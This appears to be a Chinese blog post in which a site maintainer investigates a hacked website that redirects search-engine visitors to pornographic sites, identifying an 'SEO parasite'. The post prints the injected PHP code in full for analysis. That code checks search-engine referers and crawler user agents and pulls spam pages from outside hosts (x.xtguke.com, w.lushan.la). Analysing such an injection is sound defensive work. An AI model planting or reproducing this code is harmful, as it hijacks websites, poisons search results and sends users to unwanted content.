网站被入侵了,百度收录的链接会跳转到一些带颜色(黄色)的网站
在百度site 了一下明显可以看到收录的seo 关键词等信息都不太对劲
这里就不截图了给大家看了,涉及到客户隐私什么的
通过查阅一系列资料(一通百度)发现了一个叫seo 寄生虫的东西和我这个场景很像
接下来就需要了解一下seo寄生虫了
根据大佬的经验,说这种情况只有两种技术可以实现
现在我遇到的场景是如果直接访问站点链接是正常的页面,如果是从搜索引擎点击进去就会跳转到那些乱七八糟的页面,原理是相通的,看下代码分析分析
- set_time_limit(30);
- error_reporting(0);
- $tr = "stristr";
- $er = $_SERVER;
- ini_set('user_agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)');
- define('url', $er['REQUEST_URI']);
- define('ref', $er['HTTP_REFERER']);
- define('ent', $er['HTTP_USER_AGENT']);
- define('site', "http://x.xtguke.com/");
- define('road', "?/" .$er['HTTP_HOST'] . url);
- define('regs', '@Baidu|Sogou|Yisou|Haosou|Spider|So.com|Sm.cn@i');
- define('area', $tr(url, ".xml") or $tr(url, ".doc") or $tr(url, ".txt") or $tr(url, ".ppt") or $tr(url, ".xls") or $tr(url, ".csv") or $tr(url, ".shtml") or $tr(url, ".bug") or $tr(url, ".fdc") or $tr(url,".znb")or $tr(url,".msl")or $tr(url,".mdb")or $tr(url,".love")and $tr(url, "?"));
- if (area && preg_match(regs, ref)) {
- echo file_get_contents('http://x.xtguke.com/1.html');
- exit;
- }
- if (preg_match(regs, ent)) {
- if (area) {
- echo g1(site.road);
- exit;
- } else {
- echo g1("http://w.lushan.la/?zz");
- ob_flush();
- flush();
- }
- }
- function g1($d)
- {
- $e = array('http' => array('method' => "GET"));
- $i = stream_context_create($e);
- $j = file_get_contents($d);
- if (!empty($j)) {
- return $j;
- }
- }